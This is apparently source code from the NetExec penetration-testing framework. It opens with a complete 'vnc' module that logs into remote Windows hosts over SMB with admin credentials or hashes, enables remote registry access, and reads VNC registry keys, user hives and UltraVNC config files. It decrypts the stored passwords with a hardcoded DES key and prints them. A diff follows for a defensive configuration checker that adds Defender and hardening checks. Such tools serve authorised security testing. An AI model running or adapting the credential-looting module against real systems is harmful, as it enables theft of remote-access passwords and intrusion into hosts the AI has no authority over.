from impacket.examples.secretsdump import RemoteOperations
|
||||
from impacket.system_errors import ERROR_NO_MORE_ITEMS
|
||||
|
||||
from Cryptodome.Cipher import DES
|
||||
from binascii import unhexlify
|
||||
import codecs
|
||||
import re
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Loot VNC Passwords
|
||||
Module by @_zblurx
|
||||
"""
|
||||
|
||||
name = "vnc"
|
||||
description = "Loot Passwords from VNC server and client configurations"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.vnc_decryption_key = b"\xe8\x4a\xd6\x60\xc4\x72\x1a\xe0"
|
||||
self.false_positive = (
|
||||
".",
|
||||
"..",
|
||||
"desktop.ini",
|
||||
"Public",
|
||||
"Default",
|
||||
"Default User",
|
||||
"All Users",
|
||||
)
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""NO_REMOTEOPS Do not use RemoteRegistry. Will not dump RealVNC, ThighVNC and TigerVNC passwords. Default is False"""
|
||||
self.no_remoteops = False
|
||||
if "NO_REMOTEOPS" in module_options and "True" in module_options["NO_REMOTEOPS"]:
|
||||
self.no_remoteops = True
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
self.share = self.connection.args.share
|
||||
|
||||
host = connection.hostname + "." + connection.domain
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
aesKey = connection.aesKey
|
||||
use_kcache = getattr(connection, "use_kcache", False)
|
||||
password = getattr(connection, "password", "")
|
||||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
target = Target.create(
|
||||
domain=domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=host,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
|
||||
if not self.no_remoteops:
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops.enableRegistry()
|
||||
self.vnc_from_registry(remote_ops)
|
||||
self.vnc_client_proxyconf_extract(dploot_conn, remote_ops)
|
||||
self.vnc_from_filesystem(dploot_conn)
|
||||
|
||||
def upgrade_connection(self, target: Target, connection=None):
|
||||
conn = DPLootSMBConnection(target)
|
||||
if connection is not None:
|
||||
conn.smb_session = connection
|
||||
else:
|
||||
conn.connect()
|
||||
return conn
|
||||
|
||||
def reg_query_value(self, remote_ops, path, key, hku=False):
|
||||
if remote_ops._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp) if hku else rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
path,
|
||||
)
|
||||
key_handle = ans["phkResult"]
|
||||
data = None
|
||||
try:
|
||||
_, data = rrp.hBaseRegQueryValue(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle,
|
||||
key,
|
||||
)
|
||||
return data
|
||||
except rrp.DCERPCSessionError as e:
|
||||
self.context.log.debug(f"Error while querying registry value for {path} {key}: {e}")
|
||||
|
||||
def vnc_client_proxyconf_extract(self, dploot_conn, remote_ops=None):
|
||||
vnc_client_softwares = [
|
||||
("RealVNC Viewer 7.x Proxy Conf", "Software\\RealVNC\\vncviewer", ["ProxyUserName", "ProxyPassword", "ProxyServer"]),
|
||||
]
|
||||
users = self.get_users(remote_ops)
|
||||
for user, sid in users.items():
|
||||
ntuser_dat_path = ntpath.join(f"Users\\{user}\\NTUSER.DAT")
|
||||
try:
|
||||
ntuser_dat_bytes = dploot_conn.readFile(self.share, ntuser_dat_path)
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Error while getting NTUSER.DAT file for {user}: {e}")
|
||||
for vnc_name, registry_path, registry_keys in vnc_client_softwares:
|
||||
cred = {}
|
||||
if ntuser_dat_bytes is None and remote_ops is not None:
|
||||
user_registry_path = ntpath.join(sid, registry_path)
|
||||
try:
|
||||
password = self.reg_query_value(remote_ops, user_registry_path, registry_keys[1], hku=True).encode().rstrip(b"\x00").decode()
|
||||
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
|
||||
cred["server"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[2], hku=True)
|
||||
cred["user"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[0], hku=True)
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" not in str(e):
|
||||
self.context.log.debug(f"Error while RegQueryValues {registry_keys} from {user_registry_path}: {e}")
|
||||
continue
|
||||
else:
|
||||
fh = tempfile.NamedTemporaryFile()
|
||||
fh.write(ntuser_dat_bytes)
|
||||
fh.seek(0)
|
||||
reg = winregistry.Registry(fh.name, isRemote=False)
|
||||
parent_key = reg.findKey(registry_path)
|
||||
if parent_key is None:
|
||||
continue
|
||||
cred["user"] = reg.getValue(ntpath.join(registry_path, registry_keys[0]))[1].decode("latin-1")
|
||||
password = reg.getValue(ntpath.join(registry_path, registry_keys[1]))[1].decode("utf-16le").rstrip("\0").encode()
|
||||
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
|
||||
cred["server"] = reg.getValue(ntpath.join(registry_path, registry_keys[2]))[1].decode("latin-1")
|
||||
|
||||
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
|
||||
|
||||
def vnc_from_registry(self, remote_ops):
|
||||
vncs = (
|
||||
("RealVNC 4.x", "SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4", "Password"),
|
||||
("RealVNC 3.x", "SOFTWARE\\RealVNC\\vncserver", "Password"),
|
||||
("RealVNC 4.x", "SOFTWARE\\RealVNC\\WinVNC4", "Password"),
|
||||
("TightVNC", "Software\\TightVNC\\Server", "Password"),
|
||||
("TightVNC ControlPassword", "Software\\TightVNC\\Server", "ControlPassword"),
|
||||
("TightVNC", "Software\\TightVNC\\Server", "PasswordViewOnly"),
|
||||
)
|
||||
for vnc_name, path, key in vncs:
|
||||
try:
|
||||
value = self.reg_query_value(remote_ops, path, key)
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" not in str(e):
|
||||
self.context.log.debug(f"Error while RegQueryValue {path}\\{key}: {e}")
|
||||
continue
|
||||
if value is None:
|
||||
continue
|
||||
value = value.rstrip(b"\x00")
|
||||
password = self.recover_vncpassword(value)
|
||||
if password is None:
|
||||
continue
|
||||
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
|
||||
|
||||
vnc_users = (
|
||||
("RealVNC Viewer 7.x", "HKCU\\Software\\RealVNC\\vncviewer", "ProxyUserName", "ProxyPassword", "ProxyServer"),
|
||||
)
|
||||
for vnc_name, path, user, password, server in vnc_users:
|
||||
cred = {}
|
||||
try:
|
||||
value = self.reg_query_value(remote_ops, path, password).encode().rstrip(b"\x00").decode()
|
||||
value = unhexlify(value)
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" not in str(e):
|
||||
self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}")
|
||||
continue
|
||||
if value is None:
|
||||
continue
|
||||
cred["password"] = self.recover_vncpassword(value).decode()
|
||||
try:
|
||||
cred["server"] = self.reg_query_value(remote_ops, path, server)
|
||||
cred["user"] = self.reg_query_value(remote_ops, path, user)
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" not in str(e):
|
||||
self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}")
|
||||
continue
|
||||
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
|
||||
|
||||
def split_len(self, seq, length):
|
||||
return [seq[i:i + length] for i in range(0, len(seq), length)]
|
||||
|
||||
def recover_vncpassword(self, cipher: bytes):
|
||||
encpasswd = cipher.hex()
|
||||
pwd = None
|
||||
if encpasswd:
|
||||
# If the hex encoded passwd length is longer than 16 hex chars and divisible
|
||||
# by 16, then we chop the passwd into blocks of 64 bits (16 hex chars)
|
||||
# (1 hex char = 4 binary bits = 1 nibble)
|
||||
hexpasswd = bytes.fromhex(encpasswd)
|
||||
if len(hexpasswd) > 16 and (len(hexpasswd) % 16) == 0:
|
||||
splitstr = self.split_len(codecs.encode(cipher, "hex"), 16)
|
||||
cryptedblocks = []
|
||||
for sblock in splitstr:
|
||||
cryptedblocks.append(self.decrypt_password(codecs.decode(sblock, "hex")))
|
||||
pwd = b"".join(cryptedblocks)
|
||||
elif len(hexpasswd) <= 16:
|
||||
pwd = self.decrypt_password(cipher)
|
||||
else:
|
||||
pwd = self.decrypt_password(cipher)
|
||||
return pwd
|
||||
|
||||
def decrypt_password(self, password: bytes):
|
||||
length = len(password)
|
||||
try:
|
||||
if length <= 16:
|
||||
password += b"\x00" * (16 - length)
|
||||
cipher = DES.new(key=self.vnc_decryption_key, mode=DES.MODE_ECB)
|
||||
return cipher.decrypt(password)[:length]
|
||||
except Exception as ex:
|
||||
self.context.log.debug(f"Error while decrypting VNC password {password}: {ex}")
|
||||
|
||||
def vnc_from_filesystem(self, dploot_conn):
|
||||
vncs = (
|
||||
("UltraVNC", "Program Files (x86)\\uvnc bvba\\UltraVNC\\ultravnc.ini"),
|
||||
("UltraVNC", "Program Files\\uvnc bvba\\UltraVNC\\ultravnc.ini"),
|
||||
("UltraVNC", "Program Files\\UltraVNC\\ultravnc.ini"),
|
||||
("UltraVNC", "Program Files (x86)\\UltraVNC\\ultravnc.ini"),
|
||||
)
|
||||
|
||||
for vnc_name, file in vncs:
|
||||
file_content = dploot_conn.readFile(self.share, file)
|
||||
if file_content is not None:
|
||||
regex_passwd = [rb"passwd=[0-9A-F]+", rb"passwd2=[0-9A-F]+"]
|
||||
for regex in regex_passwd:
|
||||
passwds_encrypted = re.findall(regex, file_content)
|
||||
for passwd_encrypted in passwds_encrypted:
|
||||
passwd_encrypted = passwd_encrypted.split(b"=")[-1]
|
||||
password = self.recover_vncpassword(unhexlify(passwd_encrypted))[:8]
|
||||
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
|
||||
|
||||
def get_users(self, conn):
|
||||
users = {}
|
||||
userlist_key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList"
|
||||
|
||||
ans = rrp.hOpenLocalMachine(conn._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, userlist_key, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
sids = []
|
||||
|
||||
i = 0
|
||||
while True:
|
||||
try:
|
||||
ans2 = rrp.hBaseRegEnumKey(conn._RemoteOperations__rrp, keyHandle, i)
|
||||
sids.append(ans2["lpNameOut"])
|
||||
except rrp.DCERPCSessionError as e:
|
||||
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
|
||||
break
|
||||
except Exception as e:
|
||||
self.context.debug(f"Error while listing users from HKU: {e}")
|
||||
i += 1
|
||||
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
|
||||
for sid in sids:
|
||||
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, ntpath.join(userlist_key, sid), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
|
||||
keyHandle = ans["phkResult"]
|
||||
_, profile_path = rrp.hBaseRegQueryValue(conn._RemoteOperations__rrp, keyHandle, "ProfileImagePath")
|
||||
if r"%systemroot%" in profile_path:
|
||||
continue
|
||||
users[ntpath.basename(profile_path.rstrip("\0"))] = sid.rstrip("\0")
|
||||
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
|
||||
|
||||
return users
|
||||
+129
-60
@@ -9,6 +9,7 @@ from termcolor import colored
|
||||
from nxc.logger import nxc_logger
|
||||
from impacket.dcerpc.v5 import rrp, samr, scmr
|
||||
from impacket.dcerpc.v5.rrp import DCERPCSessionError
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.smbconnection import SessionError as SMBSessionError
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
|
||||
@@ -28,17 +29,6 @@ REG_VALUE_TYPE_32BIT_BE = 5
|
||||
REG_VALUE_TYPE_UNICODE_STRING_SEQUENCE = 7
|
||||
REG_VALUE_TYPE_64BIT_LE = 11
|
||||
|
||||
# Setup file logger
|
||||
if "wcc_logger" not in globals():
|
||||
wcc_logger = logging.getLogger("WCC")
|
||||
wcc_logger.propagate = False
|
||||
log_filename = nxc_logger.init_log_file()
|
||||
log_filename = log_filename.replace("log_", "wcc_")
|
||||
wcc_logger.setLevel(logging.INFO)
|
||||
wcc_file_handler = logging.FileHandler(log_filename)
|
||||
wcc_file_handler.setFormatter(logging.Formatter("%(asctime)s [%(levelname)s] %(message)s"))
|
||||
wcc_logger.addHandler(wcc_file_handler)
|
||||
|
||||
|
||||
class ConfigCheck:
|
||||
"""Class for performing the checks and holding the results"""
|
||||
@@ -75,7 +65,7 @@ class ConfigCheck:
|
||||
def log(self, context):
|
||||
result = "passed" if self.ok else "did not pass"
|
||||
reasons = ", ".join(self.reasons)
|
||||
wcc_logger.info(f'{self.connection.host}: Check "{self.name}" {result} because: {reasons}')
|
||||
self.module.wcc_logger.info(f'{self.connection.host}: Check "{self.name}" {result} because: {reasons}')
|
||||
if self.module.quiet:
|
||||
return
|
||||
|
||||
@@ -100,6 +90,19 @@ class NXCModule:
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
|
||||
self.wcc_logger = logging.getLogger("WCC")
|
||||
self.wcc_logger.propagate = False
|
||||
log_filename = nxc_logger.init_log_file()
|
||||
log_filename = log_filename.replace("log_", "wcc_")
|
||||
self.wcc_logger.setLevel(logging.INFO)
|
||||
wcc_file_handler = logging.FileHandler(log_filename)
|
||||
wcc_file_handler.setFormatter(logging.Formatter("%(asctime)s [%(levelname)s] %(message)s"))
|
||||
self.wcc_logger.addHandler(wcc_file_handler)
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
OUTPUT_FORMAT Format for report (Default: 'json')
|
||||
@@ -156,45 +159,47 @@ class HostChecker:
|
||||
self.dce = remoteOps._RemoteOperations__rrp
|
||||
|
||||
def run(self):
|
||||
# Prepare checks
|
||||
self.init_checks()
|
||||
|
||||
# Perform checks
|
||||
self.check_config()
|
||||
|
||||
# Check methods #
|
||||
#################
|
||||
|
||||
def init_checks(self):
|
||||
# Declare the checks to do and how to do them
|
||||
self.checks = [
|
||||
ConfigCheck("Last successful update", "Checks how old is the last successful update", checkers=[self.check_last_successful_update]),
|
||||
ConfigCheck("LAPS", "Checks if LAPS is installed", checkers=[self.check_laps]),
|
||||
ConfigCheck("Administrator's name", "Checks if Administror user name has been changed", checkers=[self.check_administrator_name]),
|
||||
ConfigCheck("Last successful update age", "Checks how old is the last successful update", checkers=[self.check_last_successful_update]),
|
||||
ConfigCheck("LAPS installed", "Checks if LAPS is installed", checkers=[self.check_laps]),
|
||||
ConfigCheck("Administrator account renamed", "Checks if Administror user name has been changed", checkers=[self.check_administrator_name]),
|
||||
ConfigCheck("UAC configuration", "Checks if UAC configuration is secure", checker_args=[[self, ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "EnableLUA", 1), ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "LocalAccountTokenFilterPolicy", 0)]]),
|
||||
ConfigCheck("Hash storage format", "Checks if storing hashes in LM format is disabled", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Control\\Lsa", "NoLMHash", 1)]]),
|
||||
ConfigCheck("Always install elevated", "Checks if AlwaysInstallElevated is disabled", checker_args=[[self, ("HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer", "AlwaysInstallElevated", 0)]]),
|
||||
ConfigCheck("IPv6 preference", "Checks if IPv6 is preferred over IPv4", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip6\\Parameters", "DisabledComponents", (32, 255), in_)]]),
|
||||
ConfigCheck("Spooler service", "Checks if the spooler service is disabled", checkers=[self.check_spooler_service]),
|
||||
ConfigCheck("WDigest authentication", "Checks if WDigest authentication is disabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 0)]]),
|
||||
ConfigCheck("LM hash storage disabled", "Checks if storing hashes in LM format is disabled", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Control\\Lsa", "NoLMHash", 1)]]),
|
||||
ConfigCheck("Always install elevated disabled", "Checks if AlwaysInstallElevated is disabled", checker_args=[[self, ("HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer", "AlwaysInstallElevated", 0)]]),
|
||||
ConfigCheck("IPv4 preferred over IPv6", "Checks if IPv4 is preferred over IPv6", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip6\\Parameters", "DisabledComponents", (32, 255), in_)]]),
|
||||
ConfigCheck("Spooler service disabled", "Checks if the spooler service is disabled", checkers=[self.check_spooler_service]),
|
||||
ConfigCheck("WDigest authentication disabled", "Checks if WDigest authentication is disabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 0)]]),
|
||||
ConfigCheck("WSUS configuration", "Checks if WSUS configuration uses HTTPS", checkers=[self.check_wsus_running, None], checker_args=[[], [self, ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate", "WUServer", "https://", startswith), ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate", "UseWUServer", 0, operator.eq)]], checker_kwargs=[{}, {"options": {"lastWins": True}}]),
|
||||
ConfigCheck("LSA cache", "Checks how many logons are kept in the LSA cache", checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "CachedLogonsCount", 2, le)]]),
|
||||
ConfigCheck("AppLocker", "Checks if there are AppLocker rules defined", checkers=[self.check_applocker]),
|
||||
ConfigCheck("Small LSA cache", "Checks how many logons are kept in the LSA cache", checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "CachedLogonsCount", 2, le)]]),
|
||||
ConfigCheck("AppLocker rules defined", "Checks if there are AppLocker rules defined", checkers=[self.check_applocker]),
|
||||
ConfigCheck("RDP expiration time", "Checks RDP session timeout", checker_args=[[self, ("HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", "MaxDisconnectionTime", 0, operator.gt), ("HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", "MaxDisconnectionTime", 0, operator.gt)]]),
|
||||
ConfigCheck("CredentialGuard", "Checks if CredentialGuard is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard", "EnableVirtualizationBasedSecurity", 1), ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "LsaCfgFlags", 1)]]),
|
||||
ConfigCheck("PPL", "Checks if lsass runs as a protected process", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "RunAsPPL", 1)]]),
|
||||
ConfigCheck("Powershell v2 availability", "Checks if powershell v2 is available", checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine", "PSCompatibleVersion", "2.0", not_(operator.contains))]]),
|
||||
ConfigCheck("LmCompatibilityLevel", "Checks if LmCompatibilityLevel is set to 5", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "LmCompatibilityLevel", 5, operator.ge)]]),
|
||||
ConfigCheck("NBTNS", "Checks if NBTNS is disabled on all interfaces", checkers=[self.check_nbtns]),
|
||||
ConfigCheck("mDNS", "Checks if mDNS is disabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\DNScache\\Parameters", "EnableMDNS", 0)]]),
|
||||
ConfigCheck("SMB signing", "Checks if SMB signing is enabled", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Services\\LanmanServer\\Parameters", "requiresecuritysignature", 1)]]),
|
||||
ConfigCheck("LDAP signing", "Checks if LDAP signing is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters", "LDAPServerIntegrity", 2), ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS", "LdapEnforceChannelBinding", 2)]]),
|
||||
ConfigCheck("SMB encryption", "Checks if SMB encryption is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters", "EncryptData", 1)]]),
|
||||
ConfigCheck("CredentialGuard enabled", "Checks if CredentialGuard is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard", "EnableVirtualizationBasedSecurity", 1), ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "LsaCfgFlags", 1)]]),
|
||||
ConfigCheck("Lsass run as PPL", "Checks if lsass runs as a protected process", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "RunAsPPL", 1)]]),
|
||||
ConfigCheck("No Powershell v2", "Checks if powershell v2 is available", checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine", "PSCompatibleVersion", "2.0", not_(operator.contains))]]),
|
||||
ConfigCheck("LmCompatibilityLevel == 5", "Checks if LmCompatibilityLevel is set to 5", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "LmCompatibilityLevel", 5, operator.ge)]]),
|
||||
ConfigCheck("NBTNS disabled", "Checks if NBTNS is disabled on all interfaces", checkers=[self.check_nbtns]),
|
||||
ConfigCheck("mDNS disabled", "Checks if mDNS is disabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\DNScache\\Parameters", "EnableMDNS", 0)]]),
|
||||
ConfigCheck("SMB signing enabled", "Checks if SMB signing is enabled", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Services\\LanmanServer\\Parameters", "requiresecuritysignature", 1)]]),
|
||||
ConfigCheck("LDAP signing enabled", "Checks if LDAP signing is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters", "LDAPServerIntegrity", 2), ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS", "LdapEnforceChannelBinding", 2)]]),
|
||||
ConfigCheck("SMB encryption enabled", "Checks if SMB encryption is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters", "EncryptData", 1)]]),
|
||||
ConfigCheck("RDP authentication", "Checks RDP authentication configuration (NLA auth and restricted admin mode)", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\", "UserAuthentication", 1), ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA", "RestrictedAdminMode", 1)]]),
|
||||
ConfigCheck("BitLocker configuration", "Checks the BitLocker configuration (based on https://www.stigviewer.com/stig/windows_10/2020-06-15/finding/V-94859)", checker_args=[[self, ("HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE", "UseAdvancedStartup", 1), ("HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE", "UseTPMPIN", 1)]]),
|
||||
ConfigCheck("Guest account disabled", "Checks if the guest account is disabled", checkers=[self.check_guest_account_disabled]),
|
||||
ConfigCheck("Automatic session lock", "Checks if the session is automatically locked on after a period of inactivity", checker_args=[[self, ("HKCU\\Control Panel\\Desktop", "ScreenSaverIsSecure", 1), ("HKCU\\Control Panel\\Desktop", "ScreenSaveTimeOut", 300, le)]]),
|
||||
ConfigCheck("Powershell Execution Policy", 'Checks if the Powershell execution policy is set to "Restricted"', checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\ShellIds\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00"), ("HKCU\\SOFTWARE\\Microsoft\\PowerShell\\1\ShellIds\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00")]], checker_kwargs=[{"options": {"KOIfMissing": False, "lastWins": True}}])
|
||||
ConfigCheck("Automatic session lock enabled", "Checks if the session is automatically locked on after a period of inactivity", checker_args=[[self, ("HKCU\\Control Panel\\Desktop", "ScreenSaverIsSecure", 1), ("HKCU\\Control Panel\\Desktop", "ScreenSaveTimeOut", 300, le)]]),
|
||||
ConfigCheck('Powershell Execution Policy == "Restricted"', 'Checks if the Powershell execution policy is set to "Restricted"', checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00"), ("HKCU\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00")]], checker_kwargs=[{"options": {"KOIfMissing": False, "lastWins": True}}]),
|
||||
ConfigCheck("Defender service running", "Checks if defender service is enabled", checkers=[self.check_defender_service]),
|
||||
ConfigCheck("Defender Tamper Protection enabled", "Check if Defender Tamper Protection is enabled", checker_args=[[self, ("HKLM\\Software\\Microsoft\\Windows Defender\\Features", "TamperProtection", 5)]]),
|
||||
ConfigCheck("Defender RealTime Monitoring enabled", "Check if Defender RealTime Monitoring is enabled", checker_args=[[self, ("HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableRealtimeMonitoring", 0), ("HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableRealtimeMonitoring", 0)]], checker_kwargs=[{"options": {"lastWins": True, "stopOnOK": True}}]),
|
||||
ConfigCheck("Defender IOAV Protection enabled", "Check if Defender IOAV Protection is enabled", checker_args=[[self, ("HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableIOAVProtection", 0), ("HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableIOAVProtection", 0)]], checker_kwargs=[{"options": {"lastWins": True, "stopOnOK": True}}]),
|
||||
ConfigCheck("Defender Behaviour Monitoring enabled", "Check if Defender Behaviour Monitoring is enabled", checker_args=[[self, ("HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableBehaviourMonitoring", 0), ("HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableBehaviourMonitoring", 0)]], checker_kwargs=[{"options": {"lastWins": True, "stopOnOK": True}}]),
|
||||
ConfigCheck("Defender Script Scanning enabled", "Check if Defender Script Scanning is enabled", checker_args=[[self, ("HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableScriptScanning", 0), ("HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableScriptScanning", 0)]], checker_kwargs=[{"options": {"lastWins": True, "stopOnOK": True}}]),
|
||||
ConfigCheck("Defender no path exlusions", "Checks Defender path exlusion", checkers=[self.check_defender_exclusion], checker_args=[("HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Exclusions\\Paths", "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths")]),
|
||||
ConfigCheck("Defender no extension exclusions", "Checks Defender extension exlusion", checkers=[self.check_defender_exclusion], checker_args=[("HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Exclusions\\Extensions", "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Extensions")])
|
||||
]
|
||||
|
||||
# Add check to conf_checks table if missing
|
||||
@@ -247,7 +252,7 @@ class HostChecker:
|
||||
if host_id is not None:
|
||||
self.connection.db.add_check_result(host_id, check.check_id, check.ok, ", ".join(check.reasons).replace("\x00", ""))
|
||||
|
||||
def check_registry(self, *specs, options=None):
|
||||
def check_registry(self, *specs, options=None, stop_on_error=False):
|
||||
"""
|
||||
Perform checks that only require to compare values in the registry with expected values, according to the specs
|
||||
a spec may be either a 3-tuple: (key name, value name, expected value), or a 4-tuple (key name, value name, expected value, operation), where operation is a function that implements a comparison operator
|
||||
@@ -265,6 +270,7 @@ class HostChecker:
|
||||
try:
|
||||
if len(spec) == 3:
|
||||
(key, value_name, expected_value) = spec
|
||||
op = operator.eq
|
||||
elif len(spec) == 4:
|
||||
(key, value_name, expected_value, op) = spec
|
||||
else:
|
||||
@@ -272,7 +278,7 @@ class HostChecker:
|
||||
reasons = ["Check could not be performed (invalid specification provided)"]
|
||||
return ok, reasons
|
||||
except Exception as e:
|
||||
self.module.log.error(f"Check could not be performed. Details: specs={specs}, dce={self.dce}, error: {e}")
|
||||
self.context.log.error(f"Check could not be performed. Details: specs={specs}, dce={self.dce}, error: {e}")
|
||||
return ok, reasons
|
||||
|
||||
if op == operator.eq:
|
||||
@@ -312,6 +318,9 @@ class HostChecker:
|
||||
else:
|
||||
ok = False
|
||||
